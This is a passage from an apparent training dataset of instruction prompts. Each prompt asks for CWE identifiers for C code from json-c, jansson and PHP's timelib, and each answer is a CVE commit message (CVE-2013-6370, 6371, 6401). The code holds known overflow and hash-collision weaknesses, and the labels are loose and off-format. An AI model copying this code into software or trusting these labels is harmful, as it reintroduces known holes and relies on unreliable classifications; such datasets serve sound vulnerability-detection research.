(tok->ucs_char < 0x800) {\n\t\t unescaped_utf[0] = 0xc0 | (tok->ucs_char >> 6);\n\t\t unescaped_utf[1] = 0x80 | (tok->ucs_char & 0x3f);\n\t\t printbuf_memappend_fast(tok->pb, (char*)unescaped_utf, 2);\n\t\t} else if (IS_HIGH_SURROGATE(tok->ucs_char)) {\n /* Got a high surrogate. Remember it and look for the\n * the beginning of another sequence, which should be the\n * low surrogate.\n */\n got_hi_surrogate = tok->ucs_char;\n /* Not at end, and the next two chars should be \"\\u\" */\n if ((tok->char_offset+1 != len) &&\n (tok->char_offset+2 != len) &&\n (str[1] == '\\\\') &&\n (str[2] == 'u'))\n {\n /* Advance through the 16 bit surrogate, and move on to the\n * next sequence. The next step is to process the following\n * characters.\n */\n\t if( !ADVANCE_CHAR(str, tok) || !ADVANCE_CHAR(str, tok) ) {\n printbuf_memappend_fast(tok->pb, (char*)utf8_replacement_char, 3);\n }\n /* Advance to the first char of the next sequence and\n * continue processing with the next sequence.\n */\n\t if (!ADVANCE_CHAR(str, tok) || !PEEK_CHAR(c, tok)) {\n\t printbuf_memappend_fast(tok->pb, (char*)utf8_replacement_char, 3);\n\t goto out;\n }\n\t tok->ucs_char = 0;\n tok->st_pos = 0;\n continue; /* other json_tokener_state_escape_unicode */\n } else {\n /* Got a high surrogate without another sequence following\n * it. Put a replacement char in for the hi surrogate\n * and pretend we finished.\n */\n\t\t printbuf_memappend_fast(tok->pb, (char*)utf8_replacement_char, 3);\n }\n\t\t} else if (IS_LOW_SURROGATE(tok->ucs_char)) {\n /* Got a low surrogate not preceded by a high */\n\t\t printbuf_memappend_fast(tok->pb, (char*)utf8_replacement_char, 3);\n } else if (tok->ucs_char < 0x10000) {\n\t\t unescaped_utf[0] = 0xe0 | (tok->ucs_char >> 12);\n\t\t unescaped_utf[1] = 0x80 | ((tok->ucs_char >> 6) & 0x3f);\n\t\t unescaped_utf[2] = 0x80 | (tok->ucs_char & 0x3f);\n\t\t printbuf_memappend_fast(tok->pb, (char*)unescaped_utf, 3);\n\t\t} else if (tok->ucs_char < 0x110000) {\n\t\t unescaped_utf[0] = 0xf0 | ((tok->ucs_char >> 18) & 0x07);\n\t\t unescaped_utf[1] = 0x80 | ((tok->ucs_char >> 12) & 0x3f);\n\t\t unescaped_utf[2] = 0x80 | ((tok->ucs_char >> 6) & 0x3f);\n\t\t unescaped_utf[3] = 0x80 | (tok->ucs_char & 0x3f);\n\t\t printbuf_memappend_fast(tok->pb, (char*)unescaped_utf, 4);\n\t\t} else {\n /* Don't know what we got--insert the replacement char */\n\t\t printbuf_memappend_fast(tok->pb, (char*)utf8_replacement_char, 3);\n }\n\t\tstate = saved_state;\n\t\tbreak;\n\t }\n\t } else {\n\t tok->err = json_tokener_error_parse_string;\n\t goto out;\n\t }\n\t if (!ADVANCE_CHAR(str, tok) || !PEEK_CHAR(c, tok)) {\n if (got_hi_surrogate) /* Clean up any pending chars */\n\t printbuf_memappend_fast(tok->pb, (char*)utf8_replacement_char, 3);\n\t goto out;\n\t }\n\t}\n }\n break;\n\n case json_tokener_state_boolean:\n {\n\tint size1, size2;\n\tprintbuf_memappend_fast(tok->pb, &c, 1);\n\tsize1 = json_min(tok->st_pos+1, json_true_str_len);\n\tsize2 = json_min(tok->st_pos+1, json_false_str_len);\n\tif((!(tok->flags & JSON_TOKENER_STRICT) &&\n\t strncasecmp(json_true_str, tok->pb->buf, size1) == 0)\n\t || (strncmp(json_true_str, tok->pb->buf, size1) == 0)\n\t ) {\n\t if(tok->st_pos == json_true_str_len) {\n\t current = json_object_new_boolean(1);\n\t saved_state = json_tokener_state_finish;\n\t state = json_tokener_state_eatws;\n\t goto redo_char;\n\t }\n\t} else if((!(tok->flags & JSON_TOKENER_STRICT) &&\n\t strncasecmp(json_false_str, tok->pb->buf, size2) == 0)\n\t || (strncmp(json_false_str, tok->pb->buf, size2) == 0)) {\n\t if(tok->st_pos == json_false_str_len) {\n\t current = json_object_new_boolean(0);\n\t saved_state = json_tokener_state_finish;\n\t state = json_tokener_state_eatws;\n\t goto redo_char;\n\t }\n\t} else {\n\t tok->err = json_tokener_error_parse_boolean;\n\t goto out;\n\t}\n\ttok->st_pos++;\n }\n break;\n\n case json_tokener_state_number:\n {\n\t/* Advance until we change state */\n\tconst char *case_start = str;\n\tint case_len=0;\n\twhile(c && strchr(json_number_chars, c)) {\n\t ++case_len;\n\t if(c == '.' || c == 'e' || c == 'E')\n\t tok->is_double = 1;\n\t if (!ADVANCE_CHAR(str, tok) || !PEEK_CHAR(c, tok)) {\n\t printbuf_memappend_fast(tok->pb, case_start, case_len);\n\t goto out;\n\t }\n\t}\n if (case_len>0)\n printbuf_memappend_fast(tok->pb, case_start, case_len);\n\n\t// Check for -Infinity\n\tif (tok->pb->buf[0] == '-' && case_len == 1 &&\n\t (c == 'i' || c == 'I'))\n\t{\n\t\tstate = json_tokener_state_inf;\n\t\tgoto redo_char;\n\t}\n }\n {\n\tint64_t num64;\n\tdouble numd;\n\tif (!tok->is_double && json_parse_int64(tok->pb->buf, &num64) == 0) {\n\t\tif (num64 && tok->pb->buf[0]=='0' && (tok->flags & JSON_TOKENER_STRICT)) {\n\t\t\t/* in strict mode, number must not start with 0 */\n\t\t\ttok->err = json_tokener_error_parse_number;\n\t\t\tgoto out;\n\t\t}\n\t\tcurrent = json_object_new_int64(num64);\n\t}\n\telse if(tok->is_double && json_parse_double(tok->pb->buf, &numd) == 0)\n\t{\n current = json_object_new_double_s(numd, tok->pb->buf);\n } else {\n tok->err = json_tokener_error_parse_number;\n goto out;\n }\n saved_state = json_tokener_state_finish;\n state = json_tokener_state_eatws;\n goto redo_char;\n }\n break;\n\n case json_tokener_state_array_after_sep:\n case json_tokener_state_array:\n if(c == ']') {\n\t\tif (state == json_tokener_state_array_after_sep &&\n\t\t\t(tok->flags & JSON_TOKENER_STRICT))\n\t\t{\n\t\t\ttok->err = json_tokener_error_parse_unexpected;\n\t\t\tgoto out;\n\t\t}\n\tsaved_state = json_tokener_state_finish;\n\tstate = json_tokener_state_eatws;\n } else {\n\tif(tok->depth >= tok->max_depth-1) {\n\t tok->err = json_tokener_error_depth;\n\t goto out;\n\t}\n\tstate = json_tokener_state_array_add;\n\ttok->depth++;\n\tjson_tokener_reset_level(tok, tok->depth);\n\tgoto redo_char;\n }\n break;\n\n case json_tokener_state_array_add:\n json_object_array_add(current, obj);\n saved_state = json_tokener_state_array_sep;\n state = json_tokener_state_eatws;\n goto redo_char;\n\n case json_tokener_state_array_sep:\n if(c == ']') {\n\tsaved_state = json_tokener_state_finish;\n\tstate = json_tokener_state_eatws;\n } else if(c == ',') {\n\tsaved_state = json_tokener_state_array_after_sep;\n\tstate = json_tokener_state_eatws;\n } else {\n\ttok->err = json_tokener_error_parse_array;\n\tgoto out;\n }\n break;\n\n case json_tokener_state_object_field_start:\n case json_tokener_state_object_field_start_after_sep:\n if(c == '}') {\n\t\tif (state == json_tokener_state_object_field_start_after_sep &&\n\t\t (tok->flags & JSON_TOKENER_STRICT))\n\t\t{\n\t\t\ttok->err = json_tokener_error_parse_unexpected;\n\t\t\tgoto out;\n\t\t}\n\tsaved_state = json_tokener_state_finish;\n\tstate = json_tokener_state_eatws;\n } else if (c == '\"' || c == '\\'') {\n\ttok->quote_char = c;\n\tprintbuf_reset(tok->pb);\n\tstate = json_tokener_state_object_field;\n } else {\n\ttok->err = json_tokener_error_parse_object_key_name;\n\tgoto out;\n }\n break;\n\n case json_tokener_state_object_field:\n {\n\t/* Advance until we change state */\n\tconst char *case_start = str;\n\twhile(1) {\n\t if(c == tok->quote_char) {\n\t printbuf_memappend_fast(tok->pb, case_start, str-case_start);\n\t obj_field_name = strdup(tok->pb->buf);\n\t saved_state = json_tokener_state_object_field_end;\n\t state = json_tokener_state_eatws;\n\t break;\n\t } else if(c == '\\\\') {\n\t printbuf_memappend_fast(tok->pb, case_start, str-case_start);\n\t saved_state = json_tokener_state_object_field;\n\t state = json_tokener_state_string_escape;\n\t break;\n\t }\n\t if (!ADVANCE_CHAR(str, tok) || !PEEK_CHAR(c, tok)) {\n\t printbuf_memappend_fast(tok->pb, case_start, str-case_start);\n\t goto out;\n\t }\n\t}\n }\n break;\n\n case json_tokener_state_object_field_end:\n if(c == ':') {\n\tsaved_state = json_tokener_state_object_value;\n\tstate = json_tokener_state_eatws;\n } else {\n\ttok->err = json_tokener_error_parse_object_key_sep;\n\tgoto out;\n }\n break;\n\n case json_tokener_state_object_value:\n if(tok->depth >= tok->max_depth-1) {\n\ttok->err = json_tokener_error_depth;\n\tgoto out;\n }\n state = json_tokener_state_object_value_add;\n tok->depth++;\n json_tokener_reset_level(tok, tok->depth);\n goto redo_char;\n\n case json_tokener_state_object_value_add:\n json_object_object_add(current, obj_field_name, obj);\n free(obj_field_name);\n obj_field_name = NULL;\n saved_state = json_tokener_state_object_sep;\n state = json_tokener_state_eatws;\n goto redo_char;\n\n case json_tokener_state_object_sep:\n if(c == '}') {\n\tsaved_state = json_tokener_state_finish;\n\tstate = json_tokener_state_eatws;\n } else if(c == ',') {\n\tsaved_state = json_tokener_state_object_field_start_after_sep;\n\tstate = json_tokener_state_eatws;\n } else {\n\ttok->err = json_tokener_error_parse_object_value_sep;\n\tgoto out;\n }\n break;\n\n }\n if (!ADVANCE_CHAR(str, tok))\n goto out;\n } /* while(POP_CHAR) */\n\n out:\n if (c &&\n (state == json_tokener_state_finish) &&\n (tok->depth == 0) &&\n (tok->flags & JSON_TOKENER_STRICT)) {\n /* unexpected char after JSON data */\n tok->err = json_tokener_error_parse_unexpected;\n }\n if (!c) { /* We hit an eof char (0) */\n if(state != json_tokener_state_finish &&\n saved_state != json_tokener_state_finish)\n tok->err = json_tokener_error_parse_eof;\n }\n\n#ifdef HAVE_SETLOCALE\n setlocale(LC_NUMERIC, oldlocale);\n if (oldlocale) free(oldlocale);\n#endif\n\n if (tok->err == json_tokener_success)\n {\n json_object *ret = json_object_get(current);\n\tint ii;\n\n\t/* Partially reset, so we parse additional objects on subsequent calls. */\n for(ii = tok->depth; ii >= 0; ii--)\n json_tokener_reset_level(tok, ii);\n return ret;\n }\n\n MC_DEBUG(\"json_tokener_parse_ex: error %s at offset %d\\n\",\n\t json_tokener_errors[tok->err], tok->char_offset);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-310'], 'message': 'Patch to address the following issues:\n\n* CVE-2013-6371: hash collision denial of service\n* CVE-2013-6370: buffer overflow if size_t is larger than int'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: json_t *json_object(void)\n{\n json_object_t *object = jsonp_malloc(sizeof(json_object_t));\n if(!object)\n return NULL;\n json_init(&object->json, JSON_OBJECT);\n\n if(hashtable_init(&object->hashtable))\n {\n jsonp_free(object);\n return NULL;\n }\n\n object->serial = 0;\n object->visited = 0;\n\n return &object->json;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'CVE-2013-6401: Change hash function, randomize hashes\n\nThanks to Florian Weimer and Eric Sesterhenn for reporting, reviewing\nand testing.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int hashtable_do_rehash(hashtable_t *hashtable)\n{\n list_t *list, *next;\n pair_t *pair;\n size_t i, index, new_size;\n\n jsonp_free(hashtable->buckets);\n\n hashtable->num_buckets++;\n new_size = num_buckets(hashtable);\n\n hashtable->buckets = jsonp_malloc(new_size * sizeof(bucket_t));\n if(!hashtable->buckets)\n return -1;\n\n for(i = 0; i < num_buckets(hashtable); i++)\n {\n hashtable->buckets[i].first = hashtable->buckets[i].last =\n &hashtable->list;\n }\n\n list = hashtable->list.next;\n list_init(&hashtable->list);\n\n for(; list != &hashtable->list; list = next) {\n next = list->next;\n pair = list_to_pair(list);\n index = pair->hash % new_size;\n insert_to_bucket(hashtable, &hashtable->buckets[index], &pair->list);\n }\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'CVE-2013-6401: Change hash function, randomize hashes\n\nThanks to Florian Weimer and Eric Sesterhenn for reporting, reviewing\nand testing.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int scan(Scanner *s)\n{\n\tuchar *cursor = s->cur;\n\tchar *str, *ptr = NULL;\n\t\t\nstd:\n\ts->tok = cursor;\n\ts->len = 0;\n#line 311 \"ext/date/lib/parse_iso_intervals.re\"\n\n\n\n#line 291 \"ext/date/lib/parse_iso_intervals.c\"\n{\n\tYYCTYPE yych;\n\tunsigned int yyaccept = 0;\n\tstatic const unsigned char yybm[] = {\n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t\t 0, 0, 0, 0, 0, 0, 0, 0, \n\t};\n\n\tYYDEBUG(0, *YYCURSOR);\n\tif ((YYLIMIT - YYCURSOR) < 20) YYFILL(20);\n\tyych = *YYCURSOR;\n\tif (yych <= ',') {\n\t\tif (yych <= '\\n') {\n\t\t\tif (yych <= 0x00) goto yy9;\n\t\t\tif (yych <= 0x08) goto yy11;\n\t\t\tif (yych <= '\\t') goto yy7;\n\t\t\tgoto yy9;\n\t\t} else {\n\t\t\tif (yych == ' ') goto yy7;\n\t\t\tif (yych <= '+') goto yy11;\n\t\t\tgoto yy7;\n\t\t}\n\t} else {\n\t\tif (yych <= 'O') {\n\t\t\tif (yych <= '-') goto yy11;\n\t\t\tif (yych <= '/') goto yy7;\n\t\t\tif (yych <= '9') goto yy4;\n\t\t\tgoto yy11;\n\t\t} else {\n\t\t\tif (yych <= 'P') goto yy5;\n\t\t\tif (yych != 'R') goto yy11;\n\t\t}\n\t}\n\tYYDEBUG(2, *YYCURSOR);\n\t++YYCURSOR;\n\tif ((yych = *YYCURSOR) <= '/') goto yy3;\n\tif (yych <= '9') goto yy98;\nyy3:\n\tYYDEBUG(3, *YYCURSOR);\n#line 424 \"ext/date/lib/parse_iso_intervals.re\"\n\t{\n\t\tadd_error(s, \"Unexpected character\");\n\t\tgoto std;\n\t}\n#line 366 \"ext/date/lib/parse_iso_intervals.c\"\nyy4:\n\tYYDEBUG(4, *YYCURSOR);\n\tyyaccept = 0;\n\tyych = *(YYMARKER = ++YYCURSOR);\n\tif (yych <= '/') goto yy3;\n\tif (yych <= '9') goto yy59;\n\tgoto yy3;\nyy5:\n\tYYDEBUG(5, *YYCURSOR);\n\tyyaccept = 1;\n\tyych = *(YYMARKER = ++YYCURSOR);\n\tif (yych <= '/') goto yy6;\n\tif (yych <= '9') goto yy12;\n\tif (yych == 'T') goto yy14;\nyy6:\n\tYYDEBUG(6, *YYCURSOR);\n#line 351 \"ext/date/lib/parse_iso_intervals.re\"\n\t{\n\t\ttimelib_sll nr;\n\t\tint in_time = 0;\n\t\tDEBUG_OUTPUT(\"period\");\n\t\tTIMELIB_INIT;\n\t\tptr++;\n\t\tdo {\n\t\t\tif ( *ptr == 'T' ) {\n\t\t\t\tin_time = 1;\n\t\t\t\tptr++;\n\t\t\t}\n\t\t\tif ( *ptr == '\\0' ) {\n\t\t\t\tadd_error(s, \"Missing expected time part\");\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tnr = timelib_get_unsigned_nr((char **) &ptr, 12);\n\t\t\tswitch (*ptr) {\n\t\t\t\tcase 'Y': s->period->y = nr; break;\n\t\t\t\tcase 'W': s->period->d = nr * 7; break;\n\t\t\t\tcase 'D': s->period->d = nr; break;\n\t\t\t\tcase 'H': s->period->h = nr; break;\n\t\t\t\tcase 'S': s->period->s = nr; break;\n\t\t\t\tcase 'M': \n\t\t\t\t\tif (in_time) {\n\t\t\t\t\t\ts->period->i = nr;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ts->period->m = nr; \n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tadd_error(s, \"Undefined period specifier\");\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tptr++;\n\t\t} while (*ptr);\n\t\ts->have_period = 1;\n\t\tTIMELIB_DEINIT;\n\t\treturn TIMELIB_PERIOD;\n\t}\n#line 424 \"ext/date/lib/parse_iso_intervals.c\"\nyy7:\n\tYYDEBUG(7, *YYCURSOR);\n\t++YYCURSOR;\n\tYYDEBUG(8, *YYCURSOR);\n#line 413 \"ext/date/lib/parse_iso_intervals.re\"\n\t{\n\t\tgoto std;\n\t}\n#line 433 \"ext/date/lib/parse_iso_intervals.c\"\nyy9:\n\tYYDEBUG(9, *YYCURSOR);\n\t++YYCURSOR;\n\tYYDEBUG(10, *YYCURSOR);\n#line 418 \"ext/date/lib/parse_iso_intervals.re\"\n\t{\n\t\ts->pos = cursor; s->line++;\n\t\tgoto std;\n\t}\n#line 443 \"ext/date/lib/parse_iso_intervals.c\"\nyy11:\n\tYYDEBUG(11, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tgoto yy3;\nyy12:\n\tYYDEBUG(12, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= 'L') {\n\t\tif (yych <= '9') {\n\t\t\tif (yych >= '0') goto yy25;\n\t\t} else {\n\t\t\tif (yych == 'D') goto yy24;\n\t\t}\n\t} else {\n\t\tif (yych <= 'W') {\n\t\t\tif (yych <= 'M') goto yy27;\n\t\t\tif (yych >= 'W') goto yy26;\n\t\t} else {\n\t\t\tif (yych == 'Y') goto yy28;\n\t\t}\n\t}\nyy13:\n\tYYDEBUG(13, *YYCURSOR);\n\tYYCURSOR = YYMARKER;\n\tif (yyaccept <= 0) {\n\t\tgoto yy3;\n\t} else {\n\t\tgoto yy6;\n\t}\nyy14:\n\tYYDEBUG(14, *YYCURSOR);\n\tyyaccept = 1;\n\tyych = *(YYMARKER = ++YYCURSOR);\n\tif (yybm[0+yych] & 128) {\n\t\tgoto yy15;\n\t}\n\tgoto yy6;\nyy15:\n\tYYDEBUG(15, *YYCURSOR);\n\t++YYCURSOR;\n\tif ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);\n\tyych = *YYCURSOR;\n\tYYDEBUG(16, *YYCURSOR);\n\tif (yybm[0+yych] & 128) {\n\t\tgoto yy15;\n\t}\n\tif (yych <= 'L') {\n\t\tif (yych == 'H') goto yy19;\n\t\tgoto yy13;\n\t} else {\n\t\tif (yych <= 'M') goto yy18;\n\t\tif (yych != 'S') goto yy13;\n\t}\nyy17:\n\tYYDEBUG(17, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tgoto yy6;\nyy18:\n\tYYDEBUG(18, *YYCURSOR);\n\tyyaccept = 1;\n\tyych = *(YYMARKER = ++YYCURSOR);\n\tif (yych <= '/') goto yy6;\n\tif (yych <= '9') goto yy22;\n\tgoto yy6;\nyy19:\n\tYYDEBUG(19, *YYCURSOR);\n\tyyaccept = 1;\n\tyych = *(YYMARKER = ++YYCURSOR);\n\tif (yych <= '/') goto yy6;\n\tif (yych >= ':') goto yy6;\nyy20:\n\tYYDEBUG(20, *YYCURSOR);\n\t++YYCURSOR;\n\tif ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);\n\tyych = *YYCURSOR;\n\tYYDEBUG(21, *YYCURSOR);\n\tif (yych <= 'L') {\n\t\tif (yych <= '/') goto yy13;\n\t\tif (yych <= '9') goto yy20;\n\t\tgoto yy13;\n\t} else {\n\t\tif (yych <= 'M') goto yy18;\n\t\tif (yych == 'S') goto yy17;\n\t\tgoto yy13;\n\t}\nyy22:\n\tYYDEBUG(22, *YYCURSOR);\n\t++YYCURSOR;\n\tif (YYLIMIT <= YYCURSOR) YYFILL(1);\n\tyych = *YYCURSOR;\n\tYYDEBUG(23, *YYCURSOR);\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy22;\n\tif (yych == 'S') goto yy17;\n\tgoto yy13;\nyy24:\n\tYYDEBUG(24, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych == 'T') goto yy14;\n\tgoto yy6;\nyy25:\n\tYYDEBUG(25, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= 'L') {\n\t\tif (yych <= '9') {\n\t\t\tif (yych <= '/') goto yy13;\n\t\t\tgoto yy35;\n\t\t} else {\n\t\t\tif (yych == 'D') goto yy24;\n\t\t\tgoto yy13;\n\t\t}\n\t} else {\n\t\tif (yych <= 'W') {\n\t\t\tif (yych <= 'M') goto yy27;\n\t\t\tif (yych <= 'V') goto yy13;\n\t\t} else {\n\t\t\tif (yych == 'Y') goto yy28;\n\t\t\tgoto yy13;\n\t\t}\n\t}\nyy26:\n\tYYDEBUG(26, *YYCURSOR);\n\tyyaccept = 1;\n\tyych = *(YYMARKER = ++YYCURSOR);\n\tif (yych <= '/') goto yy6;\n\tif (yych <= '9') goto yy33;\n\tif (yych == 'T') goto yy14;\n\tgoto yy6;\nyy27:\n\tYYDEBUG(27, *YYCURSOR);\n\tyyaccept = 1;\n\tyych = *(YYMARKER = ++YYCURSOR);\n\tif (yych <= '/') goto yy6;\n\tif (yych <= '9') goto yy31;\n\tif (yych == 'T') goto yy14;\n\tgoto yy6;\nyy28:\n\tYYDEBUG(28, *YYCURSOR);\n\tyyaccept = 1;\n\tyych = *(YYMARKER = ++YYCURSOR);\n\tif (yych <= '/') goto yy6;\n\tif (yych <= '9') goto yy29;\n\tif (yych == 'T') goto yy14;\n\tgoto yy6;\nyy29:\n\tYYDEBUG(29, *YYCURSOR);\n\t++YYCURSOR;\n\tif ((YYLIMIT - YYCURSOR) < 3) YYFILL(3);\n\tyych = *YYCURSOR;\n\tYYDEBUG(30, *YYCURSOR);\n\tif (yych <= 'D') {\n\t\tif (yych <= '/') goto yy13;\n\t\tif (yych <= '9') goto yy29;\n\t\tif (yych <= 'C') goto yy13;\n\t\tgoto yy24;\n\t} else {\n\t\tif (yych <= 'M') {\n\t\t\tif (yych <= 'L') goto yy13;\n\t\t\tgoto yy27;\n\t\t} else {\n\t\t\tif (yych == 'W') goto yy26;\n\t\t\tgoto yy13;\n\t\t}\n\t}\nyy31:\n\tYYDEBUG(31, *YYCURSOR);\n\t++YYCURSOR;\n\tif ((YYLIMIT - YYCURSOR) < 3) YYFILL(3);\n\tyych = *YYCURSOR;\n\tYYDEBUG(32, *YYCURSOR);\n\tif (yych <= 'C') {\n\t\tif (yych <= '/') goto yy13;\n\t\tif (yych <= '9') goto yy31;\n\t\tgoto yy13;\n\t} else {\n\t\tif (yych <= 'D') goto yy24;\n\t\tif (yych == 'W') goto yy26;\n\t\tgoto yy13;\n\t}\nyy33:\n\tYYDEBUG(33, *YYCURSOR);\n\t++YYCURSOR;\n\tif ((YYLIMIT - YYCURSOR) < 3) YYFILL(3);\n\tyych = *YYCURSOR;\n\tYYDEBUG(34, *YYCURSOR);\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy33;\n\tif (yych == 'D') goto yy24;\n\tgoto yy13;\nyy35:\n\tYYDEBUG(35, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= 'L') {\n\t\tif (yych <= '9') {\n\t\t\tif (yych <= '/') goto yy13;\n\t\t} else {\n\t\t\tif (yych == 'D') goto yy24;\n\t\t\tgoto yy13;\n\t\t}\n\t} else {\n\t\tif (yych <= 'W') {\n\t\t\tif (yych <= 'M') goto yy27;\n\t\t\tif (yych <= 'V') goto yy13;\n\t\t\tgoto yy26;\n\t\t} else {\n\t\t\tif (yych == 'Y') goto yy28;\n\t\t\tgoto yy13;\n\t\t}\n\t}\n\tYYDEBUG(36, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != '-') goto yy39;\n\tYYDEBUG(37, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '0') goto yy40;\n\tif (yych <= '1') goto yy41;\n\tgoto yy13;\nyy38:\n\tYYDEBUG(38, *YYCURSOR);\n\t++YYCURSOR;\n\tif ((YYLIMIT - YYCURSOR) < 3) YYFILL(3);\n\tyych = *YYCURSOR;\nyy39:\n\tYYDEBUG(39, *YYCURSOR);\n\tif (yych <= 'L') {\n\t\tif (yych <= '9') {\n\t\t\tif (yych <= '/') goto yy13;\n\t\t\tgoto yy38;\n\t\t} else {\n\t\t\tif (yych == 'D') goto yy24;\n\t\t\tgoto yy13;\n\t\t}\n\t} else {\n\t\tif (yych <= 'W') {\n\t\t\tif (yych <= 'M') goto yy27;\n\t\t\tif (yych <= 'V') goto yy13;\n\t\t\tgoto yy26;\n\t\t} else {\n\t\t\tif (yych == 'Y') goto yy28;\n\t\t\tgoto yy13;\n\t\t}\n\t}\nyy40:\n\tYYDEBUG(40, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy42;\n\tgoto yy13;\nyy41:\n\tYYDEBUG(41, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '3') goto yy13;\nyy42:\n\tYYDEBUG(42, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != '-') goto yy13;\n\tYYDEBUG(43, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '0') goto yy44;\n\tif (yych <= '2') goto yy45;\n\tif (yych <= '3') goto yy46;\n\tgoto yy13;\nyy44:\n\tYYDEBUG(44, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy47;\n\tgoto yy13;\nyy45:\n\tYYDEBUG(45, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy47;\n\tgoto yy13;\nyy46:\n\tYYDEBUG(46, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '2') goto yy13;\nyy47:\n\tYYDEBUG(47, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != 'T') goto yy13;\n\tYYDEBUG(48, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '1') goto yy49;\n\tif (yych <= '2') goto yy50;\n\tgoto yy13;\nyy49:\n\tYYDEBUG(49, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy51;\n\tgoto yy13;\nyy50:\n\tYYDEBUG(50, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '5') goto yy13;\nyy51:\n\tYYDEBUG(51, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != ':') goto yy13;\n\tYYDEBUG(52, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '6') goto yy13;\n\tYYDEBUG(53, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= ':') goto yy13;\n\tYYDEBUG(54, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != ':') goto yy13;\n\tYYDEBUG(55, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '6') goto yy13;\n\tYYDEBUG(56, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= ':') goto yy13;\n\tYYDEBUG(57, 